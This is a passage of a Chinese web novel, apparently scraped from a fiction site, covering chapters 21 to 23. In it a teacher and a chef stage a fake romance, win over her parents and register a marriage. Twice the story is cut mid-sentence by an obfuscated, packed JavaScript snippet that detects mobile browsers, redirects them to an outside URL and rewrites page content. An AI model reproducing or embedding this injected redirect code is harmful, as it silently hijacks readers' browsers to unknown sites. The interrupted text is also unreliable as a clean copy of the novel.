也许现在就是入戏的最佳时刻,趁着他们心情好,说不定就同意了。 洛苏捏了捏拳头,清清嗓子,做好雷霆闪电劈头盖脸的准备,挤出一脸笑,小声说:“爸妈,我……有件事想告诉你们。” 夫妻俩不约而同扭头看着宝贝女儿,脸上还带着未散去的笑容。 “我……要跟黎祁结婚。” 21. 绝招 洛玉柱和苏爱云一直觉得女儿洛苏还是个傻孩子。 长到二十四岁,没谈过恋爱,也没听说和哪个男孩有过什么感情纠葛,他们虽然尊重她,但对感情方面的事情也提心吊胆。 没办法,女孩子总是更容易吃亏啊!反正这么多年从来没听说过哪个男的因为感情问题毁掉人生的,倒是以前有几个老街坊的姑娘因为感情不顺,或是自暴自弃随随便便找个人凑合,不然就是干脆不找对象,当起了剩女,更有甚者,得了精神分裂,送去了精神病院。 不值得!不值得! 洛玉柱了解自家女儿,应该不至于像那些想不开的女孩子那样,但是前车之鉴太多,还是心有戚戚。 所以当连恋爱都没谈过的女儿突然说要结婚,而且还是和一个只认识几个月的人结婚,洛玉柱突然觉得,还不如不结婚当剩女好,养她一辈子也不是什么难事! 手上的奖牌差点拿不稳,他身子晃了晃,连忙倚住墙才没有倒下。 苏爱云惊得半天说不出话,和洛玉柱两个人你看看我,我看看你,最后一起怒气冲冲地看着洛苏。 洛苏悄悄往后缩了一步,打着哈哈:“爸妈,你们……不至于这么惊讶吧?你们不是挺喜欢黎祁的吗?” 苏爱云啐她一口,慈母形象不再,忍不住说起了江城方言,觉得这个骂起人才带劲:“你搞邪了!结婚是小事吗?你说跟谁结婚就跟谁结婚?真是邪完了!” 洛玉柱深吸一口气,准备按照惯例唱白脸。 “酥酥,你妈的意思是结婚是人生大事,要慎重,不管怎么说你和黎祁只认识了几个月,根本不了解他,再说,我怎么不知道你们在谈恋爱?” 他不自觉把“小黎”变成了“黎祁”。一个是很喜欢很欣赏的晚辈,一个嘛,是来抢他宝贝女儿的登徒子。 洛苏低下头假装不好意思,扭扭捏捏地说:“感情的事情和认识时间长短没关系嘛……一见钟情你们没听说过?” 理是这个理,可洛玉柱和苏爱云怎么听怎么不舒服。一见钟情?我呸!不就是见色起意吗! “那你说说,你们是怎么个一见钟情法?” 洛苏头脑风暴中,在短时间里编出一个一见钟情互许终身的故事不难,难的是怎么打动父母,让他们信以为真。 “他长得帅。”洛苏老实回答。 帅,是一见钟情的基本条件。基于底层逻辑然后发挥想象,才更能令人信服。 洛玉柱和苏爱云互看一眼,这个理由比较充分,他们没法反驳。 “帅能当饭吃吗?”苏爱云反问。 “妈,你真的落后了,帅当然能当饭吃!”洛苏激动地坐到母亲身边,准备给她讲讲什么是男色经济。 “你不知道多少帅哥光靠直播就实现了财富自由,甚至只需要说说话,什么才艺都不需要……”洛苏唾沫横飞,口若悬河,把自媒体经济的来龙去脉大略讲了一遍,苏爱云不信,“既然他能靠脸赚钱为什么还辛辛苦苦到我们这打工?” 见母亲不信,洛苏掏出手机,找出施蜜发给她的链接,点开给母亲看:“你看,这是别人拍的他之前摆路边摊的视频,连脸都没完全露出来就有几万点赞,他要是肯露脸早就红了。所以这才更显得难能可贵啊,本来可以靠脸挣钱,但他偏偏选择靠手艺,这还不能说明他是个脚踏实地的人吗?” 洛苏心里在骂黎祁是个傻蛋,脸上却一副敬仰崇拜表情,说得苏爱云一愣一愣的。 “这点酥酥没说错,小黎是个踏实人,来咱们家几个月从来没有偷奸耍滑,凭他的本事根本不止这个价钱。” 洛玉柱忍不住为黎祁说了几句公道话。 “脚踏实地的人多了去,冬瓜不踏实吗?这也不是结婚的理由。” 苏爱云根本不相信女儿和黎祁到了要结婚的地步,如果说他们偷偷谈恋爱,也许她还会相信。 “妈妈,冬瓜是很踏实,可是感情的事情是要讲感觉的,一个又帅又有本事又脚踏实地的人,我喜欢他不是很正常吗?您凭良心说,如果您年轻二十多岁,您选黎祁还是选冬瓜?” 苏爱云一时语塞了。洛玉柱虽然是做厨的,比不上那些坐办公室的光鲜亮丽,但是年轻的时候长得也是端正斯文,白白净净的,不然也不会生出洛苏这样的女儿。爱美之心人皆有之,她也不能免俗。 “那……你们谈多久恋爱了?我怎么一点都没看出来?” 苏爱云回想这几个月的情景,洛苏和黎祁的相处很正常,完全没有逾越的地方,难道是洛玉柱住院的那一个星期才捅破窗户纸的? “哎呀,妈妈,谈恋爱的细节你也要问,店里每天这么多人,我哪好意思嘛,其实我们已经谈了三个月恋爱。虽然结婚可能快了点,但是你们放心,我不是傻子,肯定是对他足够了解了,才会想要结婚的。” 洛苏没谈过恋爱,不知道怎么编造那些细节,只得一口咬定,再也不肯说得更详细。 苏爱云见她说得含糊其辞,眼睛忍不住往下扫到了她的肚子上。 洛玉柱拄着拐杖慢慢挪过来,语重心长地说:“酥酥,爸爸不是不喜欢黎祁,相反,我很欣赏他,但是这和结婚是两码事,婚姻是一生一世的,很神圣,你们认识的时间太短了,彼此的了解也很浅,如果你们真的很喜欢对方,可以多相处一段时间再考虑结婚。到时候爸爸妈妈肯定好好给你办一场风光的婚礼。自古以来,急吼吼结婚的肯定没好结果,闪婚肯定也闪离,你看那个明星,叫啥来着……” 苏爱云打断丈夫的话,直插主题,狐疑地看着洛苏:“你这么急着结婚,不是……做了什么不该做的事情吧?” 洛苏正做乖乖女状听父亲讲大道理,听了这话又是羞又是恼,忍不住在心里把罪魁祸首狠狠骂了一通,急着连连否认:“我不是,我没有,妈,你别瞎说!” 洛玉柱明白过来,也觉得妻子的怀疑过分了,既是对黎祁人品的质疑,也是对女儿的不信任。 他脸上有点尴尬,摆摆手:“别胡猜,小黎不是这种人,酥酥更不是。” 说完,他心里也有点酸。女儿真的长大了,女大不中留。 苏爱云长吁一口气:“没有就好,我见你这么急着结婚,担心你们做了什么不该做的事情。” 洛苏脸红到了脖颈,低声嘟囔:“我又没疯。” 苏爱云戳戳她的脑门:“没疯就好,结婚这事你就别想了,恋爱谈一年再考虑吧,现在予以驳回。洗洗睡吧,你爸该休息了。” 洛苏铩羽而归,郁闷地给黎祁发消息。 “你能等半年吗?我妈驳回了结婚的诉求,看样子没希望了。” 洛玉柱躺在床上思来想去,觉得这个事很诡异。完全没有恋爱迹象的两个人突然要结婚了,怎么看怎么不寻常,可女儿选的结婚对象偏偏又是他很欣赏很喜欢的年轻人,他觉得女儿眼光不差。只是太着急了些。 “唉,其实我觉得酥酥眼光还不赖,黎祁长得好又有本事,现在这年头只要有一技之长就不会挨饿,他要是肯去大酒店,收入怎么着也得翻几番。” “你是嫁女儿还是卖女儿?收入低有低的活法,收入高也不过一日三餐,人品好才是最重要的。而且你不是不知道,黎祁他没父母,家庭环境看起来挺复杂,我们什么都不了解,怎么能听酥酥一面之词呢?” 夫妻俩唉声叹气,谁都说服不了谁,直到天快亮才睡去。 洛苏也睡不着,黎祁一直没回她消息,她觉得自己有点背信弃义。黎祁已经遵照协议参加了比赛,而且还高分得奖,给宝庆楼大大地长脸,她却不能兑现诺言,这不是言而无信吗? 实在不行,还是偷户口本吧!洛苏开始策划她的偷户口本大计。 就在她昏昏欲睡的时候,黎祁的回复终于姗姗来迟。 “意料之中,我没指望你能办成,明天我自己找你父母说。” 黎祁安顿好小橙子已经很晚了。民政局的人晚上又给他打电话了,这次态度很明确,他必须尽快办好领养手续,才能合法养育小橙子。否则小橙子很快会被送到孤儿院。 而一个居无定所,没有稳定职业和收入来源的未婚人士,根本不具备收养资格。 没办法,修身齐家治国平天下,没多少人会相信一个一无所有的人能承担起养育一个小孩子的责任,他就是那个光脚的,背后什么都没有,自然什么都不在乎。 这是社会给予他根深蒂固的偏见,他改变不了。 既然打不过,那就加入。 他突然有点感谢那些偷拍他的人,要不是她们,他去哪里找一个不图钱也不图人就愿意跟他结婚的傻瓜呢? 洛苏很好奇黎祁准备怎么跟她父母说,第二天一整天都心不在焉,幸好她是美术老师,经常有主科老师找她借课,她欣然同意,双方皆大欢喜,有借无还,再借不难。 回到家正是晚市,店里已经坐了几桌,她接过母亲的班,让她去休息,她来收银。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207658|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏爱云像监工一样,把洛苏从头到脚看了一遍,说自己不累,母女俩整整齐齐坐在柜台里,像两尊佛像。 洛苏受不了母亲这样的眼神,跑出去帮丸子和菜菜端菜。 丸子发现母女俩不对劲,小声问:“酥酥,你犯什么错了?” 洛苏不语,无中生友的错,而且生的是男朋友。 趁着端菜的工夫,她几次去厨房想跟黎祁对对台词,免得两人口供不一,立马穿帮。可黎祁看都不看她一眼,专心做菜,样子和平时没什么区别。 她心虚,只得偷偷躲到洗手间把昨天的情况大致发给他。 终于捱到下班,洛苏心里紧张得和打鼓一样,又很好奇,连她都说服不了父母,黎祁凭什么? 洛玉柱拄着拐杖站在厨房门口,和煦地说:“小黎,我找你有点事,等会儿别走了。” 黎祁点头,他本来就没打算走。 屋外夜色渺渺,店里终于只剩他们四个人。洛玉柱和苏爱云齐齐坐在上首,表情严肃,像两个警察。 洛苏和黎祁乖乖坐在对面,洛苏蔫头耷脑,黎祁却面色坦然。洛苏心里不平,怎么好像只有她是被审问的犯人? 黎祁主动开口:“叔叔阿姨,我知道洛苏提出的想法你们觉得很突然,不能接受。我能理解,毕竟你们只有她一个女儿,我们也只认识了几个月,现在结婚的确有些仓促。但是我想告诉你们,我结婚的请求是抱着百分百诚意的,这是我的户口本,还有我的征信报告和体检报告。” 他说完从身旁的袋子里拿出了一沓文件。 洛苏目瞪口呆,她完全没发现他做了这么多准备。 洛玉柱和苏爱云半信半疑接过文件,开始认真翻阅。 户口是集体户,那么说明他没房子。苏爱云心里有点可惜。 征信报告倒是很干净,别说借款,他连信用卡都没有。洛玉柱点点头,感觉很满意,这年头不超前消费的年轻人实在罕见。 苏爱云刚要拿体检报告,洛玉柱抢先摸到了手上,“这个,体检报告我来看合适点。” 苏爱云脸上闪过一丝尴尬,然后妥协了。 洛玉柱一项一项认真看,内脏没问题,三高一项都没有,这对于做厨师的人来说也很难得。身高184cm,体重70kg,不胖不瘦刚刚好……前列腺…… 洛玉柱老脸一红,继续往下看。前列腺功能良好,精/子活力优异…… 即使他也是个男人,都不得不感叹一句,小黎这身体真是好啊! 夫妻俩无声交换眼色,心照不宣。 优点很明显:长得帅、身体好、无负债、有一技之长。 缺点也不少:没房没车,无父无母。 苏爱云轻咳一声,语气温和地问:“小黎,既然你和酥酥想结婚,有些话我做母亲的不得不多问几句,如果让你不舒服了,别介意,阿姨没恶意。” “阿姨,您问。” “你说你没父母是怎么回事?” 黎祁知道这是他绕不过去的坎。一个人不可能从石头缝里蹦出来。 他沉默了一会儿,低声回答:“我是孤儿,一出生就在孤儿院里。” 洛苏愕然地扭头看他。 她做过很多猜想。或许黎祁的父母早亡?或许他父母离异各自有新家庭? 总之,黎祁的古怪个性肯定和他的家庭有关。可她没想到,他根本没家庭。 不知为什么,一股强烈的酸涩涌上她的心头。 苏爱云也惊得愣了愣,好一会儿才不好意思地说:“这样啊,那你肯定吃了很多苦。”她是做母亲的,完全能想象到一个没爹妈的孩子在孤儿院长大会受多少欺负。这样的环境中长大,没长歪已经很难得了,更别提他还学了一身好本事,不是自立自强的孩子绝对做不到。 洛玉柱见黎祁垂头不语也觉得有些过意不去,这不是揭人伤疤吗? “不过也希望你能理解做母亲的心,我只有酥酥这个女儿,当然希望她能嫁一个好人家,幸福快乐地生活。” 黎祁“嗯”了一声,诚恳地看着苏爱云和洛玉柱:“叔叔阿姨的担忧我都知道,我没车没房,也没什么钱,但是叔叔阿姨也知道我的厨艺,我相信我要买车买房并不是什么难事。以洛苏的条件,要找一个有车有房的人也很容易,但是我能拿出的诚意他们未必能做到。” 三双眼睛好奇地看着他。 “只要叔叔阿姨同意我和洛苏结婚,我愿意入赘。” 22. 黑白无常 江城作为一座在近代就已经开放的口岸城市,繁荣了百余年,市民的思想也不像某些地方封建保守。本地很多家庭都是独生女,父母为女儿买车买房劳心劳力更是司空见惯。 可尽管女子的地位已经比过去高了许多,入赘仍然是鲜有耳闻。对男人来说,入赘等于要抛弃本家,成为女方家的一份子,不仅要仰人鼻息,生的孩子也要跟女方姓,对男人来说几近奇耻大辱。除非家里实在没办法,一般男人都不会愿意入赘。因为生而为男,在这个社会已经占据了许多天然优势,入赘,属实有点没必要。 三双眼睛齐齐瞪大了,不敢置信地看着黎祁。 过了好一会儿,洛玉柱缓缓开口,语气有些不安:“小黎,我们不是这个意思……” 现下的场面看起来有点以多欺少、恃强凌弱的意味。洛玉柱是个实诚人,提出那些问题不过是一个做父亲的对女儿最质朴的爱,他从来没想过要黎祁入赘洛家。 他怎么能仗着对方没父母就欺负人呢?这不是老洛家为人处世的准则。 苏爱云脸上讪讪的,她觉得自己现在在黎祁心里肯定成了电视剧里面刻意刁难年轻人的邪恶丈母娘。甚至和那些推高房价的丈母娘没两样。 她心虚地笑笑,柔声道:“小黎,你说到哪儿去了?你也不是第一天认识叔叔阿姨了,我们岂会是那种强人所难蛮不讲理的人……” 黎祁摆摆手,打断了苏爱云。 “叔叔阿姨,我是真的打算入赘。不是说说而已,更不是跟你们玩以退为进。你们知道,我没父母,如果我跟洛苏结婚,您二位就是我的父母,我会像对待亲生父母一样孝敬你们,入赘是我能给的最大的诚意。房和车我会努力赚的,别人有的,洛苏也会有,我绝对不会亏待她。” 他言辞恳切,目光灼灼,说完伸出手把坐在身边的洛苏的手握进手心,温柔地看着她。 洛苏正惊叹于他的演技,等察觉到自己的手被他带着薄茧的手紧紧包裹的时候,条件反射般想甩开。 黎祁感受到她的抗拒,反而抓得更紧,视线牢牢锁定在她脸上,眸光微动。 洛苏突然反应过来,只得任他把手牵着,作害羞状低下头不语。心里不停劝自己,小不忍则乱大谋,我忍! 洛玉柱和苏爱云面面相觑,都不说话,但目光交汇中已然明白对方的心思。 平时沉默寡言的黎祁居然为了自家女儿一口气说了这么多!而且情真意切,全然一片肺腑之言。 再看两人的举止,分明一副热恋中小情侣的模样。自家文能舌战群儒、武能上房揭瓦的女儿什么时候有过这样娇羞的女儿情态? 两人沉默了一会儿,苏爱云示意洛玉柱说话。洛玉柱咳了咳,幡然如悟:“你的意思我们知道了,但婚姻大事关系一生,我们考虑考虑。不早了,你快回去休息,明天还要上班呢。” 黎祁进退有度,知道今天的鼓已经敲到了点上,再多说也没什么意义,深深看了洛苏一眼,就着月色离开了。 那一眼,没逃过苏爱云的法眼。她从来没见过黎祁脸上有这样柔情蜜意的时刻,心中突然有些感动,饶是再酷的小伙子,入了情关就变了模样。又想到他这情关是自己女儿,心中竟升起一股骄傲和得意。 也没逃过洛苏的火眼金睛。她趁黎祁转过身去,背对着父母恶狠狠剜了他一眼。 有什么了不起!洛苏气得咬牙切齿,黎祁那一眼,分明在对她说,学着点,瞧你那傻样儿。这是赤裸裸的挑衅和蔑视! 回到房间,她拿出手机给黎祁发信息。 “协议第四条,未经甲方许可,乙方不得擅自和甲方有任何越界肢体接触!你违背协议了!” 直到她快睡着了,黎祁的信息才悄然而至。 “一对快结婚的男女牵手算越界吗?拜托你用你看起来很聪明的脑子想想。另外,特殊情况下,配合对方扮演好该扮演的角色,不是你说的吗?” 洛苏气结。 这下真的是挖坑给自己跳了。因为她绝对不会主动和黎祁有什么肢体接触。但黎祁却可以挟“特殊情况”为所欲为,至于什么是特殊情况,全在三寸不烂之舌。 她气得发了一连串咒骂模样的小黄脸过去,恨不得再和他舌枪唇剑三百回合。 可等了许久,黎祁都没有回消息。她觉得自己有点神神叨叨,关掉手机忿忿不平地睡了。 接下来的几天,黎祁表现得很正常,对她和以前没什么两样,话仍然很少,除了在厨房做菜,就是在院子里晒晒太阳,发发呆。 洛玉柱和苏爱云在暗中观察。他们故意晾着他,想看看他是不是沉得住气。没想到小伙子一点也不急,一切如常,倒是他们的宝贝女儿,首先耐不住了。 我的好爸爸妈妈,这送上门的免费劳动力,你们可不能眼看着飞了啊! 而且洛苏有点心虚,黎祁虽然没催促她,但每次与她擦肩而过,都会看她一眼。被他的目光锁定,洛苏就感觉浑身一紧,好像被警察锁定为犯罪嫌疑人一样。她知道黎祁的意思,做人要言而有信,到你履行协议了。 洛苏也觉得自己有点过河拆桥,为了摆脱这种负疚感,她决定使出杀手锏。 “爸妈,我想跟你们谈谈。” 洛玉柱接过女儿泡的茶,乖乖坐下。苏爱云也想知道女儿又要出什么招。两人齐刷刷看着她。 “爸,宝庆楼是爷爷几十年的心血,您也知道之前生意一直不好,要不是小黎也不会起死回生。可他只签了一年,老实告诉你们,合约到期他是肯定不会续的,到时候我们再去哪里找一个又便宜厨艺又好的厨师呢?就算他是我的男朋友,我们也不能拦着人往高处走吧,而且他要赚钱买房就更需要去大公司了。” 这是洛玉柱和苏爱云一直担心的问题。想到这里,夫妻俩都面露愁云。人家不是不会赚钱,那是因为你们女儿才留下来的,如果你们要求人家赚多多的钱娶你女儿,那人家只好另谋高就。 该死,这成了一道两难选择题了。洛玉柱皱眉想着。 “但是——”洛苏话锋一转,“如果他成了我们家的一份子,宝庆楼的事就是他的事,他还能跑吗?他要是敢跑,我就打断他的腿!等于我们有了一个免费高级厨师啊!而且他对餐饮管理也有经验,说不定到时候宝庆楼还能扩张,开分店呢!” 洛苏兴奋地列举各种好处。 夫妻俩对视一眼,表情复杂,好一会儿,洛玉柱才艰难地开口,声音晦涩:“酥酥,这……就是你要和黎祁结婚的原因?” 苏爱云面有愧色:“酥酥,是爸爸妈妈没用,要你操这么多心……” 洛苏眼珠一转,心中暗喜,效果达到了!愧疚,是妥协的第一步。 “爸妈,你们别多想,我哪有那么伟大,我也没那么傻啊,你们又不是不了解黎祁,他是能轻易被拿捏的人吗,我们……是真的……很喜欢对方。” 洛苏低下头,竭力压抑着恶心的感觉。 接着又抬起头,满脸羞涩地继续说:“黎祁很好啊,他很善良、言而有信、有责任感、脚踏实地……最关键的是,他做饭真的很好吃,你们知道,我爱吃但我不会做,总不能真的一辈子赖着爸爸给我做饭啊!” 这句话彻底说到了夫妻俩的心坎里。他们不能陪女儿一辈子,一个有钱有势的女婿虽然很看起来很风光,但对自家女儿好才是最重要的。什么是好?不在花多少钱、住多大的房子,在生活的点滴。口渴时的一杯水,回家时一桌热腾腾的饭菜,生病时的一碗热粥……一个厨师,不管饿着谁,都饿不着自己和家人。 与其上求看人脸色,不如寻找适合自己的。 洛玉柱和苏爱云的脸色都变得温和起来,苏爱云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207659|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到了些具体的问题,“那……你们结婚之后准备住哪里?” 洛玉柱笑呵呵摆手,显然不把这个当成问题:“酥酥不是有套小房子吗,装修一下他们俩住刚好,现在就在楼上凑合一下,小黎不会计较这些的。” 既然是入赘,那房子当然得女方准备。幸好他在几年前房价还没涨的时候给女儿买了一套小两居,原本打算当做她的嫁妆,没想到现在成了“聘礼”。 洛苏没敢答应,搪塞着:“那我要跟黎祁商量一下,而且我还有一个请求,我要先领证,婚礼能免则免,我想旅行结婚。” 苏爱云不干了,眉毛竖起,叱道:“不办婚礼?那我这么多年送出去的份子钱岂不是收不回来?再说,哪有偷偷摸摸结婚的道理?” 洛玉柱也不赞成:“这是底线,要想结婚必须办婚礼,一个流程都不能少,你要旅行暑假我给黎祁放假,到时候我的腿也好了,你们爱去哪玩去哪玩。” 洛苏只得暂时敷衍过去,见好就收。 “目标达成,你想什么时候去民政局?” 洛苏只想赶快把证领了,把欠黎祁的情还了,至于别的,就来个拖字诀。 “明天。” 这次黎祁的消息来得很快。 洛苏惊得从床上跳起来,明天?你怎么不说现在呢? 幸好结婚没有冷静期。 黎祁站在民政局门口,看着零星的人群,有些庆幸。 来结婚的人远比离婚的人少,甚至不需要怎么排队,就轮到了他们。 洛苏嘴巴一直嘟嘟囔囔的,声音很低,他听不清她在说什么,只看到她脸上表情很复杂,好像很紧张,又有点勉强。 “你后悔也没用。”黎祁好心提醒她。 “我没后悔,我是觉得你今天穿的衣服太随便了,好歹是结婚,你就不能稍微准备一下?” 洛苏嫌弃地瞥了一眼黎祁的衣服,这家伙穿着一身黑到民政局结婚,是担心自己在一众白色里面不够显眼吗? 两人坐在等待领证的人群里,就像黑白无常。 黎祁瞟瞟自己的黑色衬衫,他觉得挺好的,耐脏,而且防晒。 终于轮到他们了,工作人员面带微笑说了几句祝福语,然后拿了几张表格让他们填。 “你的‘qi’是哪个‘qi’来着,我确定一下,免得写错了还得改。” 工作人员闻言抬头看了他俩一眼,又向坐在对面的同事使了个眼色。 看吧,这都是什么人啊,要结婚了连对方名字都不知道是哪个字!难怪现在离婚率那么高!这头结婚转眼那头就离婚,当这儿是什么地方了! “祁连山的祁,现在记住了吗?你不是小学老师吗?别是误人子弟吧。” 黎祁一边写一边冷冷讽刺。 “不好意思,我是美术老师,不是语文老师,而且正常人会取名叫‘离奇’吗?你怎么不叫‘泥巴’呢?” …… 工作人员小心翼翼插口:“二位,麻烦停一下,你们……还登记吗?那个,后面还有很多人排队……” “当然!” “当然!” 两人异口同声,瞪了对方一眼又继续开始填表。 工作人员无语望天,上辈子杀人放火,这辈子窗口工作。 “麻烦两位靠近点,对对,新郎肩膀往右边去一点。” 摄像师耐着性子调整机位,这已经是第三遍了。 洛苏浑身不自在,之前填表都没什么感觉,根本没意识到结婚意味着什么,直到那张红本本拿到手上,才对婚姻有了具象的感知。 这就结婚了?一个证就把两个毫无关系的人绑在了一起? 她满脑子神游,根本没注意到摄影师在说什么。 突然,肩膀一紧,整个人撞到一个结实又火热的胸膛里。 23. 同居 回到宝庆楼还不到开市时间,大家争着看新鲜出炉的结婚证。 照片上,洛苏一脸懵懂,看起来有点傻,黎祁搂着她的肩,嘴角露出浅笑,就像一个温柔的丈夫紧紧拥着她茫然无措的妻子,给她力量和安慰。 老豆啧啧称赞:“看吧,我就说我不会看错,他俩就是不对劲,原来早就偷偷摸摸谈恋爱了……” 菜菜心里有点酸,但还是凑到人堆里看热闹,见结婚证上黎祁帅气温柔,洛苏懵懂可爱,十分般配,那点酸很快就挥发了。 只有冬瓜,默不作声去了院子。 洛玉柱看到老实徒弟这样,心里也不舒服,刚准备一瘸一拐地跟上去,黎祁拦住了他。 “我去吧。”他罕见地摸出一包烟,朝院子走去。 洛玉柱看着他的背影,突然觉得有这个便宜女婿真是他捡到了宝。 冬瓜坐在台阶上剥豆子,黎祁一眼扫过去,豆壳扔在了豆框,豆子反而在垃圾桶。 冬瓜是个老实人,他不想欺负他,也不想让他心有芥蒂,毕竟以后两个人还要长时间一起工作。 冬瓜一直出神,没察觉到有人站在身后,直到一根烟蓦地出现在他面前。 他扭头看了一眼,鼻子冷冷发出“哼”的一声,没有接。 黎祁也不介意,默默在他身边坐下,把豆框里的豆壳捡出来扔到垃圾桶。 冬瓜恍然,顿时又羞又恼,为什么他笨手笨脚的样子总是被黎祁看到! “东哥,我知道你喜欢洛苏。”黎祁又把烟送到他面前,语气十分真诚。 冬瓜的脸刷地通红,结结巴巴否认:“我……我才没有,你别瞎说……我一直都把她当妹妹……” 他笨嘴拙舌的样子逗笑了黎祁。他顺从地点头:“嗯,我知道。” “她都跟你结婚了,你怎么还笑得出来?”冬瓜不解。 正常人知道别人对自己的老婆有非分之想不都是气得暴跳如雷,要么揍他一顿,要么炫耀一番,这个黎祁竟然还笑得出来?好像还挺高兴? 黎祁见冬瓜傻愣愣的模样,把烟塞到他手里,“我为什么笑不出来,这说明你很有眼光,我也很有眼光。” 冬瓜把烟捏在指缝,吁了口气,突然恶狠狠地说:“你以后要是对酥酥不好,我不会放过你的。她没兄弟,我就是她哥。” 黎祁认真答应:“好的。” 反正你也打不过我。 黎祁不抽烟,但从口袋里掏出打火机给他把烟点着了。 大堂里大家还在叽叽喳喳说个不停。洛苏焦头烂额,见黎祁和冬瓜一前一后走过来,急忙冲他使眼色。 “宝庆楼的独生女,婚礼当然要大办!让所有人都知道,咱后继有人了!半子也是子!”老豆大声驳斥洛苏关于不办婚礼的意见。 其余人跟着点头附和。 洛苏寡不敌众,还在极力说服父母把婚礼免了,“大办又费钱又费时,现在生意好不容易好点了,关店几天会流失很多客源的。” 洛玉柱摆摆手十分慷慨大方:“费钱就费钱,我女儿一辈子就一次婚礼,损失点生意算什么?” 黎祁明白了,洛苏不想没完没了地演戏,真好,他也不想。 “叔叔,婚礼要不晚点再办吧?洛苏说得有道理,现在生意刚好转,留住客人更重要,餐饮市场瞬息万变,竞争激烈,食客们的口味随时会改,还是先把生意稳定下来,婚礼什么时候办都行,您觉得呢?” 若是换了旁人不想办婚礼,百般推脱,洛玉柱肯定要大发雷霆。可是黎祁提出来,洛玉柱却十分理解他。 入赘,又不是什么光彩的事情,而且他无父无母,婚礼上也不好看,难免会被人指指点点。不想办也是情有可原。但这话不能洛家提,得黎祁自己提,否则会显得洛家仗势欺人。 既然黎祁自己提了延期再办,洛玉柱也不再强人所难。 苏爱云也想到了这点,冲洛玉柱挤挤眼,笑着揶揄:“小黎,你还叫‘叔叔阿姨’?” 黎祁完全没想到这点,顿了顿,嘴巴翕张几次,才低低喊出一声:“爸,妈。” 洛苏站在他身后,突然觉得浑身爬满了鸡皮疙瘩。 这声“爸”让洛玉柱喜笑颜开:“那行,按你们俩的意思办,现在天气也热起来了,等十月份凉快了再办也好。” 苏爱云指指墙角一堆东西:“小黎,你什么时候搬过来呢?这些都是新的四件套,你搬过来上班也方便,免得每天两头跑。” 她上午拉着丸子去家纺店买了好几套床品,平时舍不得买的那些桑蚕丝、天丝也买了,就跟那些娶媳妇的人一样,生怕哪里做得不好,把这入赘的好女婿给赶跑了。 洛苏僵住,她没想到她妈的动作这么快,挽住苏爱云的胳膊拉长声音:“妈——”洛苏撒娇,“这种事咱们私下讨论就行,这么多人多难为情啊!” 苏爱云意识到一堆人在这里,虽然看起来都在忙活,但明明也在偷听,有点不好意思。 “是是,你们俩自己商量吧!我先把这些东西洗干净,你们到时候好用。” 洛苏的卧室在三楼,独立洗手间,平时洛玉柱几乎都不上去,更别提别的男人。 洛苏心里要多别扭就有多别扭,想到以后黎祁要睡在她香香粉粉的床上,就感觉自己的地盘被玷污了。 “你可真够勇的,说结婚就结婚,以后怎么办想好了吗?” 施蜜觉得洛苏为了宝庆楼真是疯了。 “请注意措辞,是假结婚,除了那张证,我们什么关系都没有。” “嘿嘿,我不信,等你爸妈把你们往一间房里关的时候,你就知道你们有关系了。” 施蜜嘴毒,一语中的。 黎祁借口要收拾行李,磨蹭了几天。洛苏乐得不提,最好大家都忘记。可他们不提,苏爱云主动提了。 领证后第十天,老黄历说宜嫁娶、入宅、安床、移徙、求嗣…… 苏爱云看好了日子,装作无意问:“小黎,你东西很多吗?还没收拾好?酥酥上班也没时间,要不要我去帮你收拾?” 江城中年女人脾气耿直不假,但对女婿都实打实地好,她很好奇这个便宜女婿住在什么样的地方,又心疼他是不是囊中羞涩,怕人看到他的窘迫。 黎祁其实早就收拾好了,一个大男人,没什么东西,收拾来收拾去也不过几件衣服,他拖拉几天不过是要把自己的事情安排好。 小橙子已经送到寄宿学校了,每个周五下午拜托楼上王阿姨帮他接回来,至于周末他只能找点什么借口出去住。 “妈,我收拾好了。”他觉得避无可避了,再拖下去会显得很奇怪。 “那就好,午休的时候你去搬过来,我让冬瓜帮你,下午我正好给你收拾一下。” “不用,我东西很少,一个人行。” 洛苏一整天心神不宁,总觉得要出什么事,幸好小学美术课没什么负担,她挑选了一个绘画主题,让学生们自由发挥,自己转来转去,看孩子们画得怎么样。 “老师,周宇澄没带彩笔!” 一个胖乎乎的小男孩举起胖手告状。 小学生传统艺能,洛苏早就习惯了。每次上课都要处理“老师他抢我的笔”“老师我要上厕所”“老师她打我”诸如此类的投诉和报告。 她走到小男孩身边,弯下腰问:“谁没带笔?” “就是他!”小胖手指着身边的小豆芽,一脸立了大功的表情。 咦,新来的? 洛苏没见过的生面孔,白皙秀气的小脸,看起来很瘦弱,表情却很倔强。 “你是新来的同学吗?你叫什么名字呀?下次上课要记得带彩笔喔!” “我叫……周宇澄。”小男孩声音软软的,洛苏心里也跟着一软。 她见多了蛮横粗鲁的男孩子,这样秀气斯文的很少见,像个瓷娃娃,可爱又惹人疼。 她伸出手摸了摸他黑漆漆的头发:“好的,周宇澄,很高兴认识你。” 洛苏把自己的教具借给他用。小男孩眼睛眯成一弯月牙,脆生生地说:“谢谢老师。” 今天的课堂作业是画“我的家”,收上来的作业五花八门,洛苏看得啼笑皆非。有把爸爸画成一只猪的,有把妈妈画成一只老虎的,但大多数学生都家庭完整,只有个别学生是单亲,除了周宇澄。 他的画上没有爸爸,也没有妈妈,只有 